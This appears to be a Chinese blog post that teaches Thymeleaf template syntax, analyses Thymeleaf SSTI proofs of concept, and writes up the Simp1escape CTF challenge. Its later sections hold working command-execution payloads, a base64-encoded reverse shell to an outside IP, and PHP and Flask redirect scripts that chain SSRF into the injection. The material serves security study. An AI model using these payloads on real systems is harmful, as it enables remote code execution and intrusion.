0x01前言
之前在红明谷杯遇到了一道Java题,其中一个考点就是Thymeleaf SSTI,借着这道题来学习一下
0x02前置知识
Thymeleaf简介
Thymeleaf是SpringBoot中的一个模板引擎,负责渲染页面,模板引擎的功能都差不多,都是为了解决前后端分离的问题,我们都知道HTML是纯静态的,编译器会原样输出HTML上的内容,而模板引擎的出现给HTML附加上了动态的特性,它可以把动态的数据渲染到前端页面,我们只需要写一个template即可。
虽然JSP编写的前端界面可以动态解析,但是它的局限性太大了,比如我们用Jar包部署项目的时候就是不支持JSP文件,所以模板引擎在Java中应用还是非常广泛的。
Thymeleaf语法
Thymeleaf也是使用html通过特定标签语法代表其含义,如何区分Thymeleaf的html呢
首先是标识
<html xmlns:th="http://www.thymeleaf.org">
标签
Thymeleaf
提供了一些内置标签,通过标签来实现特定的功能。
标签 | 作用 | 示例 |
---|---|---|
th:id | 替换id | <input th:id="${user.id}"/> |
th:text | 文本替换 | <p text:="${user.name}">admin</p> |
th:utext | 支持html的文本替换 | <p utext:="${htmlcontent}">content</p> |
th:object | 替换对象 | <div th:object="${user}"></div> |
th:value | 替换值 | <input th:value="${user.name}" > |
th:each | 迭代 | <tr th:each="student:${user}" > |
th:href | 替换超链接 | <a th:href="@{index.html}">超链接</a> |
th:src | 替换资源 | <script type="text/javascript" th:src="@{index.js}"></script> |
链接表达式
顾名思义就是引入链接,或者互联网上的资源,语法@{资源地址}
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>
变量表达式
可以通过${…}
在model中取值,如果在Model
中存储字符串,则可以通过${对象名}
直接取值。
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","admin");//普通字符串
return "index";//与templates中index.html对应
}
<td th:text="'我的名字是:'+${name}"></td>
取JavaBean对象使用${对象名.对象属性}
或者${对象名['对象属性']}
来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}
取值。
public String getindex(Model model)//对应函数
{
user user1=new user("admin",22,"admin");
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}
<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>
取Map对象使用${Map名['key']}
或${Map名.key}
。
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}
<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>
取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "index";//与templates中index.html对应
}
<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>
选择变量表达式
变量表达式也可以写为*{...}
。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…}
)和星号(*{...}
)的语法就完全一样。
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
消息表达式
文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}
语法就是用来
读取配置文件中数据 的。
片段表达式
片段表达式~{...}
可以用于引用公共的目标片段,比如可以在一个template/footer.html
中定义下面的片段,并在另一个template中引用。
比如在/WEB-INF/templates/footer.html
定义一个片段,名为copy。<div th:fragment="copy">
<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>
在另一template中引用该片段<div th:insert="~{footer :: copy}"></div>
<body>
...
<div th:insert="~{footer :: copy}"></div>
</body>
片段表达式有三种语法
-
~{templatename::selector}
:会在/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
,如上面的~{footer :: copy}
-
~{templatename}
:引用整个templatename
模版文件作为fragment
-
~{::selector}
或者~{this::selector}
:引用来自同一模版文件名为selector
的fragmnt
其中
selector
可以是通过th:fragment
定义的片段,也可以是类选择器、ID选择器等。当
~{}
片段表达式中出现::
,则::
后需要有值,也就是selector
。
预处理
语法:__${expression}__
预处理就是在正常表达式之前完成表达式的执行,运行修改最终执行的表达式。Thymeleaf SSTI的payload无一例外都是用预处理表达式执行的,Thymeleaf只是将执行的结果作为异常给抛出来了(有版本的局限性)
0x03对POC的分析
templatename
这里放一个最常见的POC
lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
这个POC的结构实际上就是我们上面提到的预处理的语法,后面的::.x是怎么回事呢,我们先创建一个漏洞环境
最简单的就是用github上的现成的环境
不是很推荐用IDEA自带的Thymeleaf插件生成一个项目,DEA自带的Spring boot版本是>=2.3的,不会回显异常,而且Controller配置了@ResponseBody,这样 spring 框架就不会将其解析为视图名,而是直接返回, 不再调用模板解析。
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
代码的设计逻辑就是让用户选择语言,但是lang被Thymeleaf模板引擎渲染之后就会出现问题
直接看模板渲染的部分
首先是通过this.getTemplateName()
方法获取视图名,然后判断viewTemplateName
中是否含有::,如果有就把viewTemplateName
按照片段表达式的语法拼接起来,让parseExpression
解析
调用parseExpression
这里先是调用preprocess
把预处理的表达式解析了,具体的解析方式也很简单,先是用正则把__xxxxx__
中的内容提取出来
然后用execute执行
跟进execute,最终用SpringEL执行表达式
执行完命令后,那么第一次解析就已经完成了,接下来就该到Thymeleaf对命令进行第二次解析了,其实就是判断是否满足片段表达式的语法,满足条件之后会把::之后的字符串当作selector,之前的字符串当作templateName,向下找对应的模板文件,找不到就抛出异常,但是抛出的异常会带着tempate名称,也就是执行命令后的结果
好了到这里templatename的poc就算分析完了,但是从上面的漏洞代码来看,其实不要::后面的字符也是可以的,因为命令执行后还拼接了"/welcom"字符串,传给Thymeleaf解析的字符串就变成了~{user/result::/welcom}
selector
再来看第二种POC,这个POC是用于控制点在selector时
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
/fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22touch%20executed%22).getInputStream()).next()%7d__::.x
上面的POC可以不用::.x,它本身就是满足片段表达式的语法的,还有就是这个注入点是没有回显的,其原因就在于找不到::后面的selector时会使expression为null然后抛出的异常是将input原样输出
URL PATH
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
在解析试图的时候会先获取返回值,如果返回值为空viewTemplateName会从url中获取
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
但是这种POC没有回显,上面我们分析了没有回显的原因,是因为parse解析的时候如果::后面为空就会导致没有回显,我们这里明明有值,为什么还会为空呢?
通过URL PATH这种方式获取viewName时会对URL PATH进行一些处理,具体的处理过程就不多说了,最后的处理结果就是把最后一个.后面的内容全部去掉,解决方法也很简单,多加一个.不就行了吗
doc/__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7D__%3A%3A..
如果上述漏洞代码加上返回值就会失败
@GetMapping("/doc/{document}")
public String getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
return "welcome";
}
其实关于Tyhmeleaf还有很多有趣的的Bypass,别的师傅都写得很好,我就不抄过来了,可以看看原文
0x04 Simp1escape复现
这是2024红明谷杯的一道Java题,考点就是Thymeleaf SSTI + SSRF
直接看漏洞点
这里直接把传入的hostname用Thymeleaf引擎解析了,相当于直接进行到上面提到的parseExpression
方法,但是这里限制了必须是127.0.0.1也就是本地访问才行,我们接着看CurlController
curl路由里面会打开一个URL连接,并且通过isPrivateIp
判断IP的合法性,跟进此方法很容易知道就是禁止了127.0.0.1,再往下看有一个写文件的操作,就是把curl加载的外部url的内容写入resources/sites/,并用ip命名,不考虑过滤的情况下,我们在curl路由直接SSRF,访问
http://127.0.0.1/getsites?hostname=ip
这样就能成功SSTI了,但是关键点就在于怎么绕过127.0.0.1,yulate师傅wp里提到用302跳转,在服务器上开启一个服务,然后重定向到127.0.0.1,下面是yulate师傅给出的payload
http://127.0.0.1:8080/getsites?hostname=[[${T(java.lang.Boolean).forName("com.fasterxml.jackson.databind.ObjectMapper").newInstance().readValue("{}",T(org.springframework.expression.spel.standard.SpelExpressionParser)).parseExpression("T(Runtime).getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIwLjI3LjQ2LzkwOTAgMD4mMQ==}|{base64,-d}|{bash,-i}')").getValue()}]]
不用开启服务也是可以的,把hostname的payload写入vps上的文件里,然后访问
/curl?url=vps:port/payload.html
之后会生成一个html文件以ip命名,再写一个302跳转的文件
<?php
header("Location:http://127.0.0.1:8080/getsites?hostname=ip");
?>
/curl?url=vps:port/302.php
当然还有更简单的payload,Thymeleaf的语法里面是支持替换超链接的
<a th:href="__${''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,reverse_shell}|{base64,-d}|{bash,-i}')}__" th:title='pepito'>
然后在vps上起一个flask服务,重定向到127.0.0.1
from flask import Flask, redirect, url_for, render_template, request
app = Flask(__name__)
@app.route('/', methods=['POST', 'GET'])
def login():
exp = "%5B%5B%24%7BT%28java%2Elang%2EBoolean%29%2EforName%28%22com%2Efasterxml%2Ejackson%2Edatabind%2EObjectMapper%22%29%2EnewInstance%28%29%2EreadValue%28%22%7B%7D%22%2CT%28org%2Espringframework%2Eexpression%2Espel%2Estandard%2ESpelExpressionParser%29%29%2EparseExpression%28%22T%28Runtime%29%2EgetRuntime%28%29%2Eexec%28%27bash%20%2Dc%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjQuMjIwLjI3LjQ2LzkwOTAgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C%2Dd%7D%7C%7Bbash%2C%2Di%7D%27%29%22%29%2EgetValue%28%29%7D%5D%5D"
return redirect(f"http://127.0.0.1:8080/getsites?hostname={exp}");
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1080)
总的来说这道题还是有点难度的,302跳转这点很巧妙